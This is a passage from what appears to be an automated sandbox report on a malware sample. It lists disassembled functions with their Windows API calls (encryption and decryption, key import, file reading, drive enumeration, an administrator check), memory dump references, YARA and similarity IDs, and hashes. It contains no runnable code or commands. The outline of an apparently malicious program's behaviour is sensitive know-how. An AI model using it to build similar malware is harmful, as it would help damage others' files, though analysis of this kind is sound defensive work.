                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 00402ACD
                                      • _CxxThrowException.MSVCRT(00000010,0040D570), ref: 00402ADC
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 00402AFF
                                      • _CxxThrowException.MSVCRT(00000010,0040D570), ref: 00402B0E
                                      • memcpy.MSVCRT ref: 00402B2A
                                      • memcpy.MSVCRT ref: 00402B3F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow$memcpy
                                      • String ID:
                                      • API String ID: 1881450474-3916222277
                                      • Opcode ID: 5e29447d29244d2d39637b6b268b84fba844d2984039595502739967419f177d
                                      • Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
                                      • Opcode Fuzzy Hash: 5e29447d29244d2d39637b6b268b84fba844d2984039595502739967419f177d
                                      • Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58
                                      Function 10005540 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InterlockedExchangeAdd.KERNEL32(1000D4E4,00000000), ref: 1000557E
                                      • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 100055AE
                                      • Sleep.KERNEL32(000003E8), ref: 100055CB
                                      • GetDriveTypeW.KERNEL32(?), ref: 100055E9
                                      • GetDriveTypeW.KERNEL32(00000000,00000000,00000019,771B3300,00000000), ref: 100055FD
                                      • InterlockedExchange.KERNEL32(1000D4E4,?), ref: 1000560A
                                      • GetDriveTypeW.KERNEL32(?), ref: 10005615
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: DriveType$ExchangeInterlocked$DiskFreeSleepSpace
                                      • String ID: :\
                                      • API String ID: 3294574733-2155371604
                                      • Opcode ID: 61cea2a78f95dfb05a4314cfbf4166deab6280a281f2e8abaf9f34550cafe113
                                      • Instruction ID: f64d85ad46bc30538c74047da36dc2f651c409be43941944ac19416e7c7c5497
                                      • Opcode Fuzzy Hash: 61cea2a78f95dfb05a4314cfbf4166deab6280a281f2e8abaf9f34550cafe113
                                      • Instruction Fuzzy Hash: 88318432504316ABE740DF54DC84E9FB3E9FB84681F400E19F545D7158E776EA09C7A2
                                      Function 10006940 Relevance: 12.2, APIs: 8, Instructions: 209COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006959
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006969
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006A54
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006A64
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006B1F
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B2F
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8D0), ref: 10006B85
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B95
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow
                                      • String ID:
                                      • API String ID: 941485209-0
                                      • Opcode ID: 2f6f863f4f1b27604bc7f9c16208b3bc369cdb7356135f5c50d3af07c9db71d3
                                      • Instruction ID: 059c23d85c393ba9fd365f6bea795e9a80031673541d73dce98a36ed974061eb
                                      • Opcode Fuzzy Hash: 2f6f863f4f1b27604bc7f9c16208b3bc369cdb7356135f5c50d3af07c9db71d3
                                      • Instruction Fuzzy Hash: FD6182357042528BE704DF299C909ABB7E7FBCD284F15867DEC89A7209CB31AA05CB51
                                      Function 10003D10 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154encryptionstringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10003A80: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,771B3310,771B3310,10003D9E,?,771B3310,00000000), ref: 10003A9D
                                        • Part of subcall function 10003F00: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
                                        • Part of subcall function 10003F00: GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
                                        • Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10004017
                                      • CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200,?,?,?,?,771B3310,00000000), ref: 10003E2B
                                      • _local_unwind2.MSVCRT ref: 10003E3B
                                      • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,?,?,?,?,771B3310,00000000), ref: 10003E70
                                      • strncmp.MSVCRT(00000000,771B3310,?,?,?,?,?,771B3310,00000000), ref: 10003EA1
                                      • _local_unwind2.MSVCRT ref: 10003EB4
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Crypt_local_unwind2$File$AcquireContextCreateDecryptEncryptSizestrncmp
                                      • String ID: TESTDATA
                                      • API String ID: 154225373-1607903762
                                      • Opcode ID: 5841e8cc0e4b8ef1c8e0f906ed67527bce7dcc068ddb21026a2c4ed6748e33c7
                                      • Instruction ID: a032fc21090523e0544b4f1491e0cf73a7f188879e4d6ad20d27030e122f8292
                                      • Opcode Fuzzy Hash: 5841e8cc0e4b8ef1c8e0f906ed67527bce7dcc068ddb21026a2c4ed6748e33c7
                                      • Instruction Fuzzy Hash: E5513E75900258ABE714CB64DC85BEBB7B8FB48360F1087ADF919D72C5EB709A44CB90
                                      Function 10005DC0 Relevance: 9.4, APIs: 6, Instructions: 375COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 10005DDF
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005DEF
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E18
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E28
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E51
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E61
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow
                                      • String ID:
                                      • API String ID: 941485209-0
                                      • Opcode ID: 88114097bd0232d87ad232c99e4ff1f677db4ca52730fc6aa934377dfeb33ee7
                                      • Instruction ID: 5cf11e140e7aea64f1cdd1e13d3de007c6777824907ae8690337d7dedc6976b5
                                      • Opcode Fuzzy Hash: 88114097bd0232d87ad232c99e4ff1f677db4ca52730fc6aa934377dfeb33ee7
                                      • Instruction Fuzzy Hash: 82E1B5716042458BE708CF29C89069AB7E2FFCD384F59857DE889DB35ADB30EA41CB51
                                      Function 004018F9 Relevance: 9.1, APIs: 6, Instructions: 79filememoryencryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
                                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
                                      • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
                                      • ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
                                      • CryptImportKey.ADVAPI32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,?,00401448,?), ref: 00401993
                                      • _local_unwind2.MSVCRT ref: 004019A6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$AllocCreateCryptGlobalImportReadSize_local_unwind2
                                      • String ID:
                                      • API String ID: 1543066754-0
                                      • Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                      • Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
                                      • Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                      • Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC
                                      Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403528
                                      • _CxxThrowException.MSVCRT(?,0040D570), ref: 00403537
                                      • memcpy.MSVCRT ref: 004036A9
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrowmemcpy
                                      • String ID: $Q;@
                                      • API String ID: 2382887404-262343263
                                      • Opcode ID: 9d88d7451ce12b7c3a5d5664735e91029da3423811efce9d06213ba3f138044b
                                      • Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
                                      • Opcode Fuzzy Hash: 9d88d7451ce12b7c3a5d5664735e91029da3423811efce9d06213ba3f138044b
                                      • Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58
                                      Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 004037B0
                                      • _CxxThrowException.MSVCRT(?,0040D570), ref: 004037BF
                                      • memcpy.MSVCRT ref: 00403937
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrowmemcpy
                                      • String ID:
                                      • API String ID: 2382887404-3916222277
                                      • Opcode ID: 42e34b84d78c9f38c94d52d8705d7c54678ed6dfd70add5debdb3b39e4a64336
                                      • Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
                                      • Opcode Fuzzy Hash: 42e34b84d78c9f38c94d52d8705d7c54678ed6dfd70add5debdb3b39e4a64336
                                      • Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58
                                      Function 10001360 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,7678F130), ref: 1000139C
                                      • CheckTokenMembership.ADVAPI32(00000000,?,7678F130,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 100013B6
                                      • FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 100013C9
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AllocateCheckFreeInitializeMembershipToken
                                      • String ID:
                                      • API String ID: 3429775523-0
                                      • Opcode ID: e2dc8b4d3794bc66afb40d1778fc3f1714f7f223d93bfd3796b057e1ee31e261
                                      • Instruction ID: d0e0d5e2c48fa59e13d9dd79d39f3d735634ff5945503f036d462e8db185075f
                                      • Opcode Fuzzy Hash: e2dc8b4d3794bc66afb40d1778fc3f1714f7f223d93bfd3796b057e1ee31e261
                                      • Instruction Fuzzy Hash: 95014F7154C381FFE340DB2888C4AABBBE8EB94684FC49C4DF48943156D234D908D727
                                      Function 004018B9 Relevance: 4.5, APIs: 3, Instructions: 25encryptionCOMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • CryptDestroyKey.ADVAPI32(?,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018C4
                                      • CryptDestroyKey.ADVAPI32(?,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018D6
                                      • CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Crypt$Destroy$ContextRelease
                                      • String ID:
                                      • API String ID: 1308222791-0
                                      • Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                      • Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
                                      • Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                      • Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58
                                      Function 10006280 Relevance: 3.3, APIs: 2, Instructions: 308COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 1000629A
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 100062AA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow
                                      • String ID:
                                      • API String ID: 941485209-0
                                      • Opcode ID: f99b3965f5dc8d8fa443a323bef4497a13ce9e85b048de717e3a56c0278bf916
                                      • Instruction ID: 8a3fb1430c27dfc228261433490dab6bd00980f295ff4bb0f266184577da6e41
                                      • Opcode Fuzzy Hash: f99b3965f5dc8d8fa443a323bef4497a13ce9e85b048de717e3a56c0278bf916
                                      • Instruction Fuzzy Hash: B7C17022A083D24BD305CF7988E009AFFE2BFDE244B4ED4BDE5C99B366C57195098791
                                      Function 00402E7E Relevance: 3.3, APIs: 2, Instructions: 272COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00402E98
                                      • _CxxThrowException.MSVCRT(?,0040D570), ref: 00402EA7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow
                                      • String ID:
                                      • API String ID: 941485209-0
                                      • Opcode ID: 0b3a82e1866a10e008d9e23789663a186783f6e7ea65f1ebfadb5e40c8bf56e2
                                      • Instruction ID: 7c46eb61736c4a52f21da4615b0110659747632e7974af7727d2e67ead4b8ec0
                                      • Opcode Fuzzy Hash: 0b3a82e1866a10e008d9e23789663a186783f6e7ea65f1ebfadb5e40c8bf56e2
                                      • Instruction Fuzzy Hash: 01B1AD75A081D99EDB05CFB989A04EAFFF2AF4E20474ED1E9C5C4AB313C5306505DB98
                                      Function 004031BC Relevance: 3.3, APIs: 2, Instructions: 271COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 004031D6
                                      • _CxxThrowException.MSVCRT(?,0040D570), ref: 004031E5
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow
                                      • String ID:
                                      • API String ID: 941485209-0
                                      • Opcode ID: 0dda08770b2cfa47ca0284abc8234425fc657ac4a7c18576e4d0461ed08ab4c9
                                      • Instruction ID: bcf4991698fce177fafabfcfbf4d003d7da0a1e91b0dfae35dbc96c431f9713a
                                      • Opcode Fuzzy Hash: 0dda08770b2cfa47ca0284abc8234425fc657ac4a7c18576e4d0461ed08ab4c9
                                      • Instruction Fuzzy Hash: 43B1A135A081D99EDB05CFB984A04EAFFF2AF8E200B4ED1E6C9D4AB713C5705615DB84
                                      Function 10006640 Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006659
                                      • _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006669
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrow
                                      • String ID:
                                      • API String ID: 941485209-0
                                      • Opcode ID: 3d7b9d66e8179924543ffb11a62235faef9196394649210147293824cf356565
                                      • Instruction ID: 79948d9e1e0e4fd9a86f40f9287b0f552434bc35f44e017899462d58d151028f
                                      • Opcode Fuzzy Hash: 3d7b9d66e8179924543ffb11a62235faef9196394649210147293824cf356565
                                      • Instruction Fuzzy Hash: FF91BE756083828FD718CF28C890A9ABBE2FFCE344F25496DE989C7315C631E945CB91
                                      Function 004043B6 Relevance: 1.9, APIs: 1, Instructions: 683COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
